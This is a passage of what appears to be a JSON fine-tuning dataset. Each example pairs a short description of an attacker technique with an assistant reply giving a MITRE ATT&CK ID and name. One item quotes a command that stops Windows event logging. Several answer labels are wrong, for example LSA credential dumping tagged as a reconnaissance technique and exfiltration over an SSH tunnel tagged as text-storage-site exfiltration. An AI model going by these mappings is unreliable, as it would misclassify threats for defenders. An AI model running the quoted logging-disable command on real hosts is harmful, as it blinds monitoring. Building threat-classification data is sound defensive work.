                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a malicious SQL stored procedure that extracts credential tables and sends them to an external C2 server."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies an existing desktop shortcut to launch a malicious executable whenever the user clicks the shortcut."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised developer utility serves as a proxy, allowing execution of attacker-controlled payloads."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware exfiltrates data by embedding it in ICMP echo request packets."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team exercises simulate using stolen domain credentials to bypass multi-factor authentication on internal systems."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uses the current timestamp combined with a cryptographic key to algorithmically produce domain names, then resolves them to locate its command server."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan duplicates itself into a sandboxed VM created on the fly, running its malicious modules there to bypass security tools."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker maps the victim's online presence by searching for all domains and hosting services linked to the target's brand."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Kerberoasting, the threat actor queries the domain for accounts with SPNs, obtains their Kerberos Ticket Granting Service tickets, and performs brute‑force attacks on the encrypted parts."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After establishing persistence, the attacker executes a batch file that calls a custom encryptor to lock all documents, spreadsheets, and images on the machine."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised social media platform serves a hidden script that exploits a known browser vulnerability, resulting in a drive‑by compromise."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages a legacy Azure region that is no longer maintained to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor performs a low-level wipe by issuing ATA Secure Erase command via a privileged shell."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating a folder named 'C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\ink' without quotes in the system PATH, the adversary ensures their payload runs whenever the legitimate program is called."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code inspects the presence of running explorer.exe processes and only runs its payload when a user shell is active."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromised a cloud‑based web API by abusing an insecure OAuth implementation, allowing them to issue forged API calls."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the built-in macOS screencapture command via a compromised SSH session to grab a snapshot of the user's screen."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is established by inserting a script into the LoginHook registry value, which is invoked during each logon event."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses port knocking by broadcasting SYN packets to a series of ports in a secret order to activate hidden services."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The perpetrator generates a continuous stream of spoofed traffic targeting port 80 of a cloud‑based service, exhausting its network capacity."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary monitors the target company's public calendar and social media posts to determine peak business hours and typical work schedule."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged a compromised Google Service Account JSON key to enumerate Cloud Storage buckets and download CSV reports."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages the public Facebook Graph Search to locate all pages affiliated with a specific business unit and extract member lists."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injects malicious code into a running legitimate process by creating a new thread that calls the target's entry point using a list of planted modules."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a compromised web application to host a backdoor executable that victims download during the infection process."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker encodes PowerShell commands using base64 before execution to hide malicious intent."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the vDSO ELF section to inject code, achieving stealthy persistence on the system."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor queries DNS records and web search results to identify webpages controlled by the target organization."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware forces a user to authenticate by displaying spoofed credential dialogs, capturing the entered username and password."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware encrypts collected data with AES and then Base64‑encodes it for transmission."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor exploits a race condition in the Windows Service Control Manager to run arbitrary code as SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary stores base64‑encoded PowerShell scripts in a public pastebin page, and compromised systems periodically download the content as a dead‑drop resolver technique."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set employed rundll32 to proxy execution of PowerShell scripts hidden in a DLL, evading detection."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Office template file is placed in the startup folder, causing its macro to execute each time the user opens any Office app."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor distributes an Excel .xltm template containing malicious code that executes on startup of the Office application."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware dynamically builds domain names using a hash of the current epoch time, then attempts DNS resolution to locate its command server."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary registers a new Gmail address using stolen personal information to gain legitimate email access."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the Active Directory password policy to reduce complexity requirements, allowing easier credential guessing."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious installer writes a subkey to HKCU\\Software\\Microsoft\\ActiveSetup\\Installed Components that points to a DLL to be loaded during user logon."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a ransomware payload that encrypts all user documents and appends a .locked extension."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages the default configuration of the Docker socket to read configuration files containing API keys used by containers."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant calls ZwQuerySystemInformation with SystemModuleInformation to retrieve driver details."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code lists the Docker volumes with \"docker volume ls\" to discover mounted storage used by containers."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker renamed a malicious executable to 'report.docx.exe' so that the double extension would appear as a Word document to the user."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An implant uses WhatsApp messages as a command channel to receive instructions."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group collects information about the target's third‑party vendors by searching for partnership announcements."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script calls the Windows API EnumProcesses to retrieve process IDs from the target system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages Terraform scripts with leaked cloud access keys to automatically create additional cloud instances across regions."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware replaces the Windows login password hash with a reversible encrypted version, allowing the attacker to retrieve the plaintext later."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors register a malicious Google Cloud Platform service account to maintain long‑term access."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Dockerfile is crafted and built on the victim, resulting in a container that runs credential‑stealing tools."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a stored XSS vulnerability to embed a malicious script that runs whenever the page loads."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro encodes VBA code using a custom base‑36 alphabet before embedding it in Office documents."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware abuses the Microsoft Windows Backup Service (VSS) to execute code with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised AWS IAM credential, the actor moved large amounts of exfiltrated data to an EC2 instance's attached S3 bucket."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe an attack where an adversary uses cross-site scripting to inject malicious code into web applications."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages Diffie‑Hellman key exchange to set up a secure channel for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By overwriting pointers in the KernelCallbackTable, the threat actor hijacks execution flow and runs arbitrary code with kernel privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes uploading a weaponized DLL to a shared folder and executing it on another system."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Office COM add‑in is installed silently and runs a malicious DLL each time the Office application starts, illustrating Office Application Startup."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal creates a cloud-based user account in Oracle Cloud Infrastructure and grants it admin rights."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware was camouflaged as an image file (e.g., .jpg) while actually containing executable code, enabling it to be launched by the victim."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses PowerShell to execute 'sc stop eventlog' on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection harvested saved passwords from the Android system's AutoFill service."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker compromises a vulnerable WordPress plugin to upload a web shell and control the web service."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary replaces the pam_unix.so library with a trojanized copy that logs user credentials and then authenticates them automatically."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker writes a low-level filter driver that monitors and modifies DNS queries to redirect users to phishing sites."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a script that creates a new tenant in the victim's Azure environment under the attacker's control."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a credential dumping tool, the adversary collects NTLM hashes from the local security authority."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abuse mshta.exe to bypass AppLocker by executing a signed script from an external location."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential stealer employs an SSH tunnel to a remote server to exfiltrate stolen data."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ layered proxy infrastructure, where each proxy forwards requests to the next, achieving deep anonymity."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries extract credential data by dumping the contents of the securityd service on macOS."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abuses the Windows Time service by installing a malicious provider that is executed at logon."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider uses docker-compose to start a container that extracts sensitive data from the host."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware checks the system clock and only executes its payload after a predefined number of days have passed."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
